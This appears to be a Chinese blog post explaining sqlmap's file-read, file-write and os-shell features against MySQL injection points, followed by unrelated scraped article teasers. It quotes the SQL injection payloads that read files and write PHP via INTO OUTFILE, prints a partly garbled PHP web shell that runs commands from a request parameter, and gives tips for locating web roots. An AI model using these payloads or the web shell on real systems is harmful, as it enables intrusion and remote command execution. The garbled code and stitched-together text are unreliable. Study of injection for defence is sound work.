首先確保注入點的資料庫連線使用者有file許可權
使用 --privileges檢視
但是就算有此許可權也還有很多問題
selinux
因為我的伺服器使用的並不是apache的預設發布目錄
所以我把selinux禁掉了
按理來說
selinux也會對這些操作有影響
mysql檔案操作許可權
首先說一下linux的檔案許可權
chmod命令用於更改檔案許可權
數字法中
0 無許可權
1 可執行
2 可寫
4 可讀
四個數字隨意組合共八種
0 無許可權
1 可執行
2 可寫
3 可執行/可寫
4 可讀
5 可執行/可讀
6 可寫/可讀
7 可執行/可寫/可讀
–file-read
引數是檔案路徑
伺服器上的mysql需要對此檔案有5許可權(執行/讀)
因為它實際執行的函式是
load_file('/data/test.txt');
mysql有對 /data/test.txt 的5許可權才可以載入
否則就算伺服器管理員使用此函式也無法讀出檔案
–file-write 和 --file-dest
這兩個是配合使用的
–file-write的引數是kali上的完整檔案路徑
–file-dest的引數是伺服器上的完整檔案路徑
伺服器上mysql需要對此檔案路徑有3許可權(可寫/可執行)
而且mysql的檔案匯出路徑不能有限制
mysql匯出路徑
它實際執行的函式是
... into outfile '/asdf/sadf/sdfa.txt'
–os-shell
mysql需要對**發布目錄有3許可權
以及檔案匯出路徑無限制
實際函式上傳了兩個php檔案,即利用tmpulujm.php上傳了乙個tmpbtfgo.php的檔案
...into outfile '/documentroot/asdaa.php'
payload
a' and
ord(
mid((
ifnull(
cast(
hex(load_file(0x2f6879)
) as char)
,0x20)
),1,1)
)>66 and 'bhhf'='bhhf
解析
0x2f6879是伺服器上帶完整路徑的檔名
payload
a'
limit 0,1
into outfile '/hoasdf/sdaf/asdf.txt'
lines terminated by
0x50542079536557276967963653d68747
-- -
解析
0x5054…是上傳檔案的hex內容
即利用tmpulujm.php上傳了乙個tmpbtfgo.php的檔案
payload
a'
limit 0,1
into outfile '/documentroot/tmpuvpaa.php'
lines terminated by
0x300a696627365742f524554553545b2275706c6f6164225
-- -
解析
0x300a…是上傳php檔案的hex內容
上傳的兩個php檔案內容
a 12
<?php
if (isset($_request["upload"]))
else
@chmod($dir."/".$file,0755);
echo "file uploaded";
} else
?>
<?php
$c=$_request["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
else
$c=$c." 2>&1\n";
function f($n)
if(f('system'))
elseif(f('proc_open')
@proc_close($y);
} elseif(f('shell_exec'))
elseif(f('passthru'))
elseif(f('popen'))
} @pclose($x);
} elseif(f('exec'))
else
print "".$w."
";
?>
退出shell後兩檔案自動刪除
拿到os-shell的條件
首先你得知道**是用什麼寫的。這個倒是好說,asp/aspx/php/jsp,很容易看
**的發布目錄。這個開發環境中應該都會更改,而不會使用預設的
比如apache的/var/www/html,這裡想說一下某些php程式設計師還有可能寫完乙個很有用的檔案後忘記刪掉了,可能叫test.php什麼什麼的,內容就是一句phpinfo();
找到這個裡面會有很多有用的資訊
selinux。牛逼的管理員會詳細配置selinux,菜雞如我就只能強制關掉了,selinux會對資料庫對外的操作作限制,特別是針對這種敏感的直接對發布目錄進行的操作。
還是得好好看看selinux啊唉
執行許可權。上面有詳細說明
生產環境還會有waf等防護
為什麼你總是拿不到高薪?
小李和小王是大學同學,都是計算機專業,畢業後都進入 同一家大型軟體公司做軟體開發工作,不知不覺,他們已經在這家公司工作5年了,在一次同學聚會上,大家把酒言歡,共敘桑麻。同學多年不見,當然,少不了工作和薪資的話題,無意中,小李聽到了小王的薪資已經有3萬多,他心裡咯噔了一下,突然覺著落差好大,因為自己才...
憑什麼你拿不到好offer No 108
我知道很多小夥伴,包括現在正在快畢業的,包括已經工作了一兩年的,甚至包括已經工作了五六年的。總是感覺自己懷才不遇,很藍瘦,明明感覺自己已經拼命了,為什麼還是拿不到好 offer 但是那些整天看起來吊兒郎當的,為毛他們好像不經意間就拿到了某某名企的 specical offer 憑什麼!我他喵也很努力...
sql 為什麼佔位符可以防止sql注入
為什麼佔位可以防止sql注入,不從什麼預編譯的角度來將,直接上原始碼,下面是mysql jar包中的setstring方法。以select from user where id 語句為例,傳入1 or 1 1 如果是最後sql為select from user where id 1 or 1 1,那...